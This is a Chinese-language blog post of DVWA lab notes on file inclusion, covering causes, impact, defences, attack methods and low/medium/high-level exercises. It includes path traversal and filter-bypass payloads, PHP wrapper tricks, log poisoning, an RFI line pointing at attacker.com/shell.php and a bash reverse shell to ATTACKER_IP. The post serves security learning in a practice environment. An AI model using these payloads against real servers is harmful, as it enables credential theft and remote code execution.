DVWA靶场练习(三)—— File Inclusion

声明:本笔记仅供学习与参考,所有测试均在靶场环境中进行。

一、漏洞介绍
File Inclusion,中文叫“文件包含漏洞”,指应用程序在加载文件时使用了用户可控的输入来决定“加载哪个文件”,导致攻击者能让服务器读取本不该读取的文件,或者执行本不该执行的内容。它分为两个变种:LFI(Local File Inclusion,本地文件包含) 读取服务器上已有的文件;RFI(Remote File Inclusion,远程文件包含) 从攻击者控制的远程URL拉取文件并执行。File Inclusion与Path Traversal(路径穿越)需要区分:路径穿越只“读取”文件,文件包含会把文件内容交给解释器处理——同一个../../etc/passwd,在路径穿越里只是泄露内容,在LFI里可能触发代码执行。
二、漏洞成因
(1)动态文件包含是“设计功能”,不是bug本身。 文件包含原本是为了把公共代码,页头、页脚、语言包、模板,拆到独立文件中复用,include('header.php')是正常写法;问题出在“文件名”来自用户输入,比如include($_GET['page'])。
(2)用户输入未经约束就进入了文件包含sink。PHP的include、include_once、require、require_once是典型sink,其他语言中open()、fs.readFile()、资源加载等动态路径构造也有类似风险。
(3)RFI的额外前提:远程包含被开启。 PHP中需要allow_url_include=On,现代PHP默认关闭,但遗留系统、错误配置、CTF环境仍然存在。
(4)路径拼接进一步扩大了攻击面。 即使代码写成include('pages/' . $GET['page'] . '.php'),攻击者仍可用 ../ 跳出预期目录;如果开发者只做简单的字符串替换(如删除../),还可以用双写、编码等方式绕过。
(5)LFI之所以危险,是因为它“很少停在读文件”。 一旦攻击者能包含任意文件,就可以借助日志、会话文件、上传文件、PHP封装器把“读”升级为“执行”。
三、漏洞危害
LFI的直接危害是敏感文件泄露:读取/etc/passwd、/etc/shadow、应用配置文件(config.php、.env、wp-config.php)、SSH私钥、.bash_history等,从中获取数据库凭据、API密钥、密码哈希,为后续登录和横向移动铺路。更严重的是LFI → RCE:通过日志投毒、PHP会话文件、上传文件包含、php://filter链等技术,攻击者可以在服务器上执行任意代码,获得与Web进程相同权限的shell。RFI的危害更直接:一旦 allow_url_include开启,攻击者只需在远程托管一个PHP shell,包含即执行,不需要任何“链式”条件。在真实场景中,LFI常与文件上传、日志写入、会话固定等弱点组合,成为从“低危信息泄露”到“高危RCE”的桥梁。
四、防御措施
(1)绝不把用户输入直接拼进文件包含路径,这是第一原则。 用户选择“哪个页面”时,应使用服务端的白名单映射表:请求传?page=about,服务端查表得到固定的 about.php,而不是把about拼进路径。如果必须接受路径成分,解析最终路径后校验它是否仍停留在预期基础目录内,不在则拒绝。
(2)关闭远程包含,直接消灭RFI。 PHP中设置 allow_url_include=Off。
(3)用open_basedir限制文件系统访问范围。 把PHP能打开的文件限定在指定目录树内,即使存在LFI,也无法读到/etc/passwd、SSH私钥等目录外文件。
(4)不要把日志、会话文件放在“可被包含”的位置。 LFI到RCE的链条高度依赖日志、/tmp下的会话文件、上传目录可被Web进程读取;把这些路径移出open_basedir或设为不可读,可以切断链条。
(5)最小权限运行。Web进程不应以root/SYSTEM运行,低权限账户即使被包含执行,影响范围也受限。
(6)运行时加固与监控。 监控Web进程访问敏感文件、派生shell等异常行为;WAF可拦截常见穿越和封装器payload,但只能作为辅助层,不能替代代码层面的白名单修复。
五、攻击方法
(1)第一步:探测与区分LFI/RFI。 寻找形如?page=、?file=、?template=、?lang=、?module=、?include=的参数。用已知文件测试:Linux试/etc/passwd、../../../../etc/passwd、/etc/hosts、/proc/self/environ;Windows试C:\Windows\win.ini、../../../../Windows/win.ini。如果返回文件内容,说明LFI存在;如果包含远程URL(如?page= http://your-ip/test.php )并执行,则RFI开启。
(2)路径穿越是核心手法。 从Web根目录向上跳出:../../../../etc/passwd。需要多少层../取决于Web根深度,可以从4–6层开始增减;PHP在到达文件系统根后,多余的../会被静默忽略,所以“多打几层”通常无害。
(3)绕过输入过滤。 若../被删除一次,用双写....//....//....//etc/passwd;若被URL解码后检查,用双编码..%252F..%252F..%252Fetc%252Fpasswd或混合编码。若代码强制拼接.php后缀,现代PHP无法再用%00截断,应转向PHP封装器。
(4)PHP封装器:LFI的“能力放大器”。 php://filter/convert.base64-encode/resource=config.php可以读取PHP源码而不执行,返回base64后再解码,直接拿到数据库凭据和API密钥。若allow_url_include=On,php://input配合POST体、data://text/plain,可以直接执行代码;expect://id 在 expect扩展加载时可直接命令执行。
(5)LFI → RCE的四条主路径。 日志投毒:把 写入User-Agent,请求Apache/Nginx访问日志,然后包含/var/log/apache2/access.log,PHP代码被执行;SSH认证日志也可用同样方式,把payload放在用户名中触发失败登录。PHP会话文件投毒:找到会把用户输入存入session的参数(如lang),写入PHP代码,然后包含/var/lib/php/sessions/sess
[PHPSESSID]。上传文件包含:先上传一个含PHP代码的“图片”,再用LFI包含它。php_filter_chain(无需写文件、无需日志):用php_filter_chain_generator生成由convert.iconv.*和base64过滤器组成的链,在纯LFI条件下合成任意PHP代码并执行,适用于PHP < 8且无allow_url_include、无可写路径的场景。
(6)RFI利用。 攻击者在自己的机器上托管shell.php(内容),通过?page=http://attacker.com/shell.php让目标包含并执行。若http://被过滤,可试https://、ftp://(依赖allow_url_fopen)或双URL编码。
(7)从代码执行到反弹shell。 拿到cmd执行能力后,常用bash反弹:bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'(URL编码后作为cmd参数发送);也可用Python反弹。
六、练习
low级
这段源码本身只是一个“接收参数并赋值”的片段:它的作用是:从URL的GET参数中读取page的值;把它赋给变量$file;注释说明“我们希望显示的页面”,暗示这个变量后续可能用于包含/显示某个页面文件。
(本地文件包含LFI)我在d盘创建一个ceshi文件夹,里面有一个1.txt,在url里page=后面写入路径,就可以查看到文件(也可以尝试C:\Windows\win.ini等等)

屏幕截图 2026-10-17 142748

屏幕截图 2026-10-17 142946

(远程文件包含RFI)在page=后面可以写一个自己网站的路径(可能是webshell,让目标机读取执行,获取服务器的权限)。

屏幕截图 2026-10-17 143651

Medium级
相比上一级多了两次过滤,阻止RFI远程文件包含删除 http://和https😕/,让类似:?page=http://evil.com/shell.txt变成:?page=evil.com/shell.txt
从而不能直接通过 HTTP 协议包含远程文件。阻止简单的路径遍历删除 ../ 和 ..\,试图阻止:?page=../../../../etc/passwd这种本地文件读取。可以在中间多加一次,例如:htthttp://p://绕过过滤

屏幕截图 2026-10-17 145054

High级
这一级增加了“必须以 file 开头”的前缀校验;这个校验启用PHP自带的file:// 协议,导致可以用file://读取本地文件,不能借此进行远程文件包含。fnmatch("file", $file) 是什么意思?fnmatch(pattern, string) 是PHP的文件名模式匹配函数:file 表示字符串必须以file开头,后面可以是任意字符。所以以下输入会通过检查:file1.php,fileabc,file/../../etc/passwd,file:///etc/passwd

屏幕截图 2026-10-17 150832

posted @ 2026-10-22 19:09  昕染  阅读(4)  评论(0)    收藏  举报